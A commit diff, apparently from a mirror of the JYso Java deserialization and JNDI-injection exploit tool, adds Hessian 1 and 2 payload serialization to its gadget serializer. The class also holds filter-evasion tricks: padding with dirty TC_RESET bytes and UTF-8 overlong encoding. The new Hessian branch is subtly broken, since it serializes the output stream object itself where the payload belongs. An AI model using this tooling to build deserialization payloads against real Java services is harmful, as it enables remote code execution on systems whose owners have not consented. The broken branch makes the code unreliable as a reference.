mirror of
https://github.com/qi4L/JYso.git
synced 2026-09-22 23:01:53 +08:00
hessian类型的Payload
This commit is contained in:
@@ -1,6 +1,6 @@
|
||||
package com.qi4l.jndi.gadgets.utils;
|
||||
|
||||
import com.qi4l.jndi.gadgets.Config.Config;
|
||||
import com.caucho.hessian.io.*;
|
||||
import com.qi4l.jndi.gadgets.utils.utf8OverlongEncoding.UTF8OverlongObjectOutputStream;
|
||||
|
||||
import java.io.ByteArrayOutputStream;
|
||||
@@ -9,8 +9,7 @@ import java.io.ObjectOutputStream;
|
||||
import java.io.OutputStream;
|
||||
import java.util.concurrent.Callable;
|
||||
|
||||
import static com.qi4l.jndi.gadgets.Config.Config.IS_DIRTY_IN_TC_RESET;
|
||||
import static com.qi4l.jndi.gadgets.Config.Config.IS_UTF_Bypass;
|
||||
import static com.qi4l.jndi.gadgets.Config.Config.*;
|
||||
|
||||
public class Serializer implements Callable<byte[]> {
|
||||
private final Object object;
|
||||
@@ -35,16 +34,32 @@ public class Serializer implements Callable<byte[]> {
|
||||
}
|
||||
|
||||
public static void qiserialize(Object obj, final OutputStream out) throws Exception {
|
||||
final ObjectOutputStream objOut;
|
||||
ObjectOutputStream objOut = null;
|
||||
AbstractHessianOutput AobjOut = null;
|
||||
|
||||
if (IS_DIRTY_IN_TC_RESET) {
|
||||
objOut = new SuObjectOutputStream(out);
|
||||
} else if (IS_UTF_Bypass) {
|
||||
objOut = new UTF8OverlongObjectOutputStream(out);
|
||||
} else {
|
||||
} else if (IS_Hessian1) {
|
||||
AobjOut = new HessianOutput(out);
|
||||
NoWriteReplaceSerializerFactory sf = new NoWriteReplaceSerializerFactory();
|
||||
sf.setAllowNonSerializable(true);
|
||||
AobjOut.setSerializerFactory(sf);
|
||||
} else if (IS_Hessian2) {
|
||||
AobjOut = new Hessian2Output(out);
|
||||
NoWriteReplaceSerializerFactory sf = new NoWriteReplaceSerializerFactory();
|
||||
sf.setAllowNonSerializable(true);
|
||||
AobjOut.setSerializerFactory(sf);
|
||||
}else {
|
||||
objOut = new ObjectOutputStream(out);
|
||||
}
|
||||
objOut.writeObject(obj);
|
||||
|
||||
if (IS_Hessian1 || IS_Hessian2) {
|
||||
AobjOut.writeObject(AobjOut);
|
||||
} else {
|
||||
objOut.writeObject(obj);
|
||||
}
|
||||
}
|
||||
|
||||
public byte[] call() throws Exception {
|
||||
@@ -62,7 +77,7 @@ public class Serializer implements Callable<byte[]> {
|
||||
super.writeStreamHeader();
|
||||
try {
|
||||
// 写入
|
||||
for (int i = 0; i < Config.DIRTY_LENGTH_IN_TC_RESET; i++) {
|
||||
for (int i = 0; i < DIRTY_LENGTH_IN_TC_RESET; i++) {
|
||||
Reflections.getMethodAndInvoke(Reflections.getFieldValue(this, "bout"), "writeByte", new Class[]{int.class}, new Object[]{TC_RESET});
|
||||
}
|
||||
} catch (Exception e) {
|
||||
@@ -71,4 +86,32 @@ public class Serializer implements Callable<byte[]> {
|
||||
}
|
||||
}
|
||||
|
||||
public static class NoWriteReplaceSerializerFactory extends SerializerFactory {
|
||||
|
||||
/**
|
||||
* {@inheritDoc}
|
||||
*
|
||||
* @see com.caucho.hessian.io.SerializerFactory#getObjectSerializer(java.lang.Class)
|
||||
*/
|
||||
@Override
|
||||
public com.caucho.hessian.io.Serializer getObjectSerializer (Class<?> cl ) throws HessianProtocolException {
|
||||
return super.getObjectSerializer(cl);
|
||||
}
|
||||
|
||||
/**
|
||||
* {@inheritDoc}
|
||||
*
|
||||
* @see com.caucho.hessian.io.SerializerFactory#getSerializer(java.lang.Class)
|
||||
*/
|
||||
@Override
|
||||
public com.caucho.hessian.io.Serializer getSerializer (Class cl ) throws HessianProtocolException {
|
||||
com.caucho.hessian.io.Serializer serializer = super.getSerializer(cl);
|
||||
|
||||
if ( serializer instanceof WriteReplaceSerializer ) {
|
||||
return UnsafeSerializer.create(cl);
|
||||
}
|
||||
return serializer;
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user